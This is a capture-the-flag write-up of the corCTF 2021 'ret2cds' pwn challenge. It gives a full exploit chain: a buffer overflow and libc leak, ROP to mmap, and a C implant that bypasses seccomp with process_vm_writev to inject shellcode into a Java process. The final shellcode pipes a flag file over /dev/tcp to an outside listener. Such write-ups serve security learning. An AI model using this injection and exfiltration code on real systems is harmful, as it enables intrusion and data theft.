it's writeups
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
xenia f80d51be40 2021: corctf: ret2cds 2 years ago
analysis 2021: corctf: ret2cds 2 years ago
challenge 2021: corctf: ret2cds 2 years ago
exploit 2021: corctf: ret2cds 2 years ago
.gitignore 2021: corctf: ret2cds 2 years ago 2021: corctf: ret2cds 2 years ago
main.png 2021: corctf: ret2cds 2 years ago


by haskal

pwn / 497 pts / 6 solves

Pwners keep joking about dropping socat and xinetd 0 days so I rewrote netcat in java. I dare you to pop a shell on me now :^)

NOTE: Internet is enabled, please use the provided qemu image, and note that this has been tested to work in a Debian environment for the Docker host. An Ubuntu host is known to have issues with the official solution for the challenge. If you are on Debian, the docker deployment should work for you if you don't want to use the qemu image (but not guaranteed).

QEMU Image: ret2cds-qemu.qcow2.gz

QEMU Example: qemu-system-x86_64 -enable-kvm -serial mon:stdio -hda ret2cds.qcow2 -nographic -smp 1 -m 1G -net user,hostfwd=tcp::1337-:1337 -net nic

QEMU Username: root (no password)

Docker: ret2cds.tar

provided files (i'm only providing the binaries here not the whole qemu image cause that is huge): ret2cds/


pwn time

basic analysis of the binary shows that it is using seccomp (also, there is seccomp on the docker image used for the challenge, but the binary's seccomp rules are much more restrictive)

here's the main function in the dragn

main function, it's literally just a 512 byte read into a 256 byte buffer


ok so first let's get the seccomp rules. for this i used and just like, had it run the binary, (yes i probably shouldn't be running CTF binaries on my actual machine but shush)

this produces output analysis/ret2cds-seccomp.txt. well... most things are banned

so what isn't banned? since the docker contains its own seccomp config, we cross-reference what is allowed there with what is banned here and find 2 interesting calls which are allowed by both sets of configurations

  • process_vm_readv
  • process_vm_writev

these are syscalls that allow reading and writing another process's memory given we have ptrace permission (in docker everything is root, and also the docker config explicitly adds the ptrace capability, so yes)

initial pwning

ok we'll get to this later. first we need to bonk the ret2cds process. it's pretty standard just write the address of write in order to leak the libc base, then jump back to main, then make a second rop chain to call mmap in libc

well this part got kind of weird, because pwntools ROP could not identify a good gadget to get control of r9 which was needed to be set to 0 since it's the offset parameter for mmap (r8 garbage is OK, it gets ignored for anonymous maps by the kernel). so i turn to my trusty uber-ROP gadget which is setcontext (it's a libc call for restoring all registers from a struct on the stack, goes with getcontext). by manual analysis there is a good place to jump into setcontext in order to get control of r9

// ( in setcontext )
001581e1 4c 8b 4a 30     MOV        R9,qword ptr [RDX + 0x30]
001581e5 48 8b 92        MOV        RDX,qword ptr [RDX + 0x88]
         88 00 00 00
001581ec 31 c0           XOR        EAX,EAX
001581ee c3              RET

for this we just need RDX to be loaded as a pointer to the memory we want to load from, which is easy cause we have gadgets for RDX. we pass in a pointer to some random part of rodata such that the address r9 gets loaded from ends up being 0

here's the code so far

elf = ELF("./ret2cds")
rop = ROP(elf)

libc = ELF("./")

r = remote("", 38255)
r.recvuntil("warden: ")

# step 1: get write to print the address of write, then go back to main (0x0040123a)
r.sendline(b"A"*256 + b"AAAAAAAA" + rop.chain() + p64(0x0040123a))
leak = r.recvline()[1:8]
leak = u64(leak.ljust(8, b'\x00'))

libc_base = leak - libc.symbols['write']

libc.address = libc_base

# now, make part of the ROP for mmap with pwntools
libc_rop = ROP(libc)
# memorize these args lol, that's
# - addr
# - size
# - -1: no fd
# - 0: no offset
libc_rop.mmap(0x133713370000, 0x10000, 7, 0x32) #, -1, 0)
# read moar shellcode into it, 0x133713370000, 0x10000)

# handle those pesky remaining args (well, just the last one)
# see the assembly for this gadget above
fucky_r9_gadget = p64(0x581e1 + libc_base)
# load rdx with a pointer to rodata (convenient source of 0x0s) offset so that r9 gets
pre_rop = ROP(libc)
pre_rop.rdx = 0x402008 - 0x30

# send step 2 exploit, then jump to the shellcode we just mapped
r.sendline(b"A"*256 + b"AAAAAAAA" + pre_rop.chain() + fucky_r9_gadget + libc_rop.chain() + p64(0x133713370000))

now we have shellcode. but there's still seccomp.....

we can produce the final shellcode tho. it just won't work yet because execve is not allowed (neither is like, anything bash would be running here)

stage3 = asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/"], {}))

please note: if you are doing CTFs in the future referencing this writeup, make sure to keep the IP address so that i get yr flags >:3

ok so the path should be clear: use process_vm_writev in order to write more shellcode into another process

the only other process is the java netcat replacement


the java code itself is not that interesting, and not exploitable as far as i can tell. if you're interested, you can take a look in Bytecode Viewer or JDA1

from looking at that quickly on the qemu environment, we find something interesting in /proc/<pid>/maps for the java process

800000000-800002000 rwxp 00001000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
800002000-8003b9000 rw-p 00003000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
8003b9000-800a95000 r--p 003ba000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
800a95000-800a96000 rw-p 00a96000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
800a96000-8010a3000 r--p 00a97000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa

classes.jsa has an rwx mapping at what looks like a fixed address... that's a great target for shellcode2

i'm not super interested in shellcoding a call to process_vm_writev ... would be convenient to write it in C, but i also don't have or want to have (legitimate or illegitimate) a binja license for their shellcode compiler...

how 2 make a C implant 2021 tutorial working (no robux)

set it to 136 bpm

make a linker script. it's gonna start at the address where your mmap shellcode page is


    RAM (rwx) : ORIGIN = 0x133713370000, LENGTH = 0x10000

    .text :

    .rodata :

    .data :

    .bss :
        _bss = .;
        _ebss = .;

now make a makefile (for convenience). we want to call gcc with the magic spell -nostdlib -nodefaultlibs -nostdinc -fpic -fno-stack-protector -Os -T stage2.ld

basically that's

  • don't use any stdlib or standard headers
  • make position independent code, skip the stack protector
  • optimize for size
  • use the given linker script

then objcopy that into a flat binary

.PHONY: all clean copy


all: implant.bin

	$(RM) *.bin *.elf

implant.bin: implant.elf
	$(OBJCOPY) -O binary $< $@

implant.elf: stage2.c stage2.ld
	$(CC) -nostdlib -nodefaultlibs -nostdinc -T stage2.ld -fpic -fno-stack-protector \
		-Os -std=gnu11 -Wall -Wextra -o $@ $<

add some reverb, and stack the layers

here's some boilerplate C. fun fact, your entrypoint just needs to be at the beginning and it needs to wipe .bss then jump to main. but we also need to redefine literally everything because we opted to not have any standard headers (this is technically unnecessary, you can use the headers if you want)

typedef unsigned char uint8_t;
_Static_assert(sizeof(uint8_t) == 1, "uint8_t wrong size");
typedef unsigned short uint16_t;
_Static_assert(sizeof(uint16_t) == 2, "uint16_t wrong size");
typedef unsigned int uint32_t;
_Static_assert(sizeof(uint32_t) == 4, "uint32_t wrong size");
typedef unsigned long long uint64_t;
_Static_assert(sizeof(uint64_t) == 8, "uint64_t wrong size");
typedef unsigned int size_t;
typedef int ssize_t;

#define NULL ((void*)0x0)
#define pid_t unsigned long
#define true 1
#define false 0
#define SYS_exit 1
#define SYS_read 0
#define SYS_write 1
#define SYS_process_vm_readv 310
#define SYS_process_vm_writev 311

int main();
void __attribute__((noreturn)) exit(int);

void* memset(void* dst, int val, size_t size) {
    for (size_t i = 0; i < size; i++) {
        ((uint8_t*)dst)[i] = val;
    return dst;

void* memcpy(void* dst, const void* src, size_t size) {
    for (size_t i = 0; i < size; i++) {
        ((uint8_t*)dst)[i] = ((uint8_t*)src)[i];
    return dst;

extern uint8_t _bss;
extern uint8_t _ebss;
void __attribute__((noreturn)) __attribute__((section(".text.start"))) _start() {
    // wipe .bss
    memset(&_bss, 0, (&_ebss) - (&_bss));
    // go to main!

int main() {
    // your code here!!!
    return 120;

ok now that's done, write some syscall wrappers (i'm being very extra with this)

ssize_t read(int _fd, void* _buf, size_t _len) {
    register int fd asm("rdi") = _fd;
    register void* buf asm("rsi") = _buf;
    register size_t len asm("rdx") = _len;
    register int syscall asm("rax") = SYS_read;
    register ssize_t ret asm("rax");
    asm volatile("syscall" : "=r"(ret) : "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
    return ret;

void write(int _fd, const void* _buf, size_t _len) {
    register int fd asm("rdi") = _fd;
    register const void* buf asm("rsi") = _buf;
    register size_t len asm("rdx") = _len;
    register int syscall asm("rax") = SYS_write;
    asm volatile("syscall" :: "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");

void __attribute__((noreturn)) exit(int _code) {
    register int code asm("rdi") = _code;
    register int syscall asm("rax") = SYS_exit;
    asm volatile("syscall" :: "r"(code), "r"(syscall) : "memory");

ssize_t process_vm_readv(pid_t _pid,
        const struct iovec *_local_iov,
        unsigned long _liovcnt,
        const struct iovec *_remote_iov,
        unsigned long _riovcnt,
        unsigned long _flags) {
    register pid_t pid asm("rdi") = _pid;
    register struct iovec* local_iov asm("rsi") = _local_iov;
    register unsigned long liovcnt asm("rdx") = _liovcnt;
    register struct iovec* remote_iov asm("r10") = _remote_iov;
    register unsigned long riovcnt asm("r8") = _riovcnt;
    register unsigned long flags asm("r9") = _flags;
    register int syscall asm("rax") = SYS_process_vm_readv;
    register ssize_t ret asm("rax");
    asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt),  "r"(remote_iov),
            "r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
    return ret;

ssize_t process_vm_writev(pid_t _pid,
        const struct iovec *_local_iov,
        unsigned long _liovcnt,
        const struct iovec *_remote_iov,
        unsigned long _riovcnt,
        unsigned long _flags) {
    register pid_t pid asm("rdi") = _pid;
    register struct iovec* local_iov asm("rsi") = _local_iov;
    register unsigned long liovcnt asm("rdx") = _liovcnt;
    register struct iovec* remote_iov asm("r10") = _remote_iov;
    register unsigned long riovcnt asm("r8") = _riovcnt;
    register unsigned long flags asm("r9") = _flags;
    register int syscall asm("rax") = SYS_process_vm_writev;
    register ssize_t ret asm("rax");
    asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt),  "r"(remote_iov),
            "r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
    return ret;

ok now we're ready to send the shellcode using process_vm_writev

how 2 iovec 2021 tutorial working (no robux)

so if you've never seen iovecs (first of all you should try kernel pwn, you'll definitely see iovecs,) basically it's a way to read and/or write multiple addresses in sequence with one syscall. you pass in an array of these structs

struct iovec {
    void  *iov_base;    /* Starting address */
    size_t iov_len;     /* Number of bytes to transfer */

that's how process_vm_readv and process_vm_writev are working

now there's one more small detail, which is that we don't know what PID java has. luckily it's low (usually <10) so we can just spray the shellcode at every process and eventually java will be hit

// this is: asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/"], {}))
char* buf = "shellcode here";
char buf2[0x2000];

// write to the previously determined rwx pages in the java process
struct iovec remote_vec = { (void*)0x800000000, 0x2000 };
// read from a local shellcode buf
struct iovec local_vec = { &buf2[0], 0x2000 };

int main() {
    print("implant is booted\n");

    // fill nop sled (0x90 is NOP)
    memset(buf2, 0x90, 0x2000);
    // add the shellcode at the end
    memcpy(&buf2[0x2000 - 186], buf, 186);

    for (int i = 2; i < 100; i++) {
        print("sending to pid:");
        ssize_t ret = process_vm_writev(i, &local_vec, 1, &remote_vec, 1, 0);
        if (ret <= 0) {
            print("bad ret!: ");
        } else {
            print("GOOD RET\n");
    print("injection complete\n");
    return 120;

finally you'll probably need to connect to the endpoint again, in order to trigger the java process to enter the rwx page and execute your shellcode

the results:

❯ python3
[*] '.../ret2cds'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'./'
[*] Loaded 14 cached gadgets for '../challenge/chall/ret2cds'
0x0000:         0x40131b pop rdi; ret
0x0008:              0x1 [arg0] rdi = 1
0x0010:         0x401319 pop rsi; pop r15; ret
0x0018:         0x403fc0 [arg1] rsi = got.write
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x401030 write
[*] '.../'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to on port 34485: Done
b"lol, you ain't escaping...\n"
[*] Loaded 200 cached gadgets for '../challenge/chall/'
0x0000:   0x7f5b8856256d pop rdx; pop rcx; pop rbx; ret
0x0008:              0x7 [arg2] rdx = 7
0x0010:             0x32 [arg3] rcx = 50
0x0018:      b'gaaahaaa' <pad rbx>
0x0020:   0x7f5b88484529 pop rsi; ret
0x0028:          0x10000 [arg1] rsi = 65536
0x0030:   0x7f5b88483b72 pop rdi; ret
0x0038:   0x133713370000 [arg0] rdi = 21127266500608
0x0040:   0x7f5b88578890 mmap
0x0048:   0x7f5b885791e1 pop rdx; pop r12; ret
0x0050:          0x10000 [arg2] rdx = 65536
0x0058:      b'waaaxaaa' <pad r12>
0x0060:   0x7f5b88484529 pop rsi; ret
0x0068:   0x133713370000 [arg1] rsi = 21127266500608
0x0070:   0x7f5b88483b72 pop rdi; ret
0x0078:              0x0 [arg0] rdi = 0
0x0080:   0x7f5b8856dfa0 read
make: Nothing to be done for 'all'.
[*] Switching to interactive mode
🚨 Due to the recent security breaches, we have no choice but to lock you up in jail! 🚨
And just to avoid all those socat/xinetd 0-days you and your pwn friends brag about...
I rewrote netcat in Java ☕.
Nothing can go wrong with a language used on over 13 billion devices ™.

\x00nter your appeal to the warden: \x00
lol, you ain't escaping...
\x00[*] Got EOF while reading in interactive
[*] Closed connection to port 34485
[*] Got EOF while sending in interactive

meanwhile on yr listening server

$ while true; do nc -vlp 1337; done
Ncat: Version 7.70 (  )
Ncat: Listening on :::1337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

(idk what the 'cds' part of the challege name is supposed to mean. return to 💿?)

  1. JDA is just a cleaned up and slightly prettified fork of Bytecode Viewer, but it's also behind Bytecode Viewer in terms of a few features (mainly Android)

  2. in recent versions of openjdk, this is no longer the case (i think). sad :(
    luckily this challenge is using an older version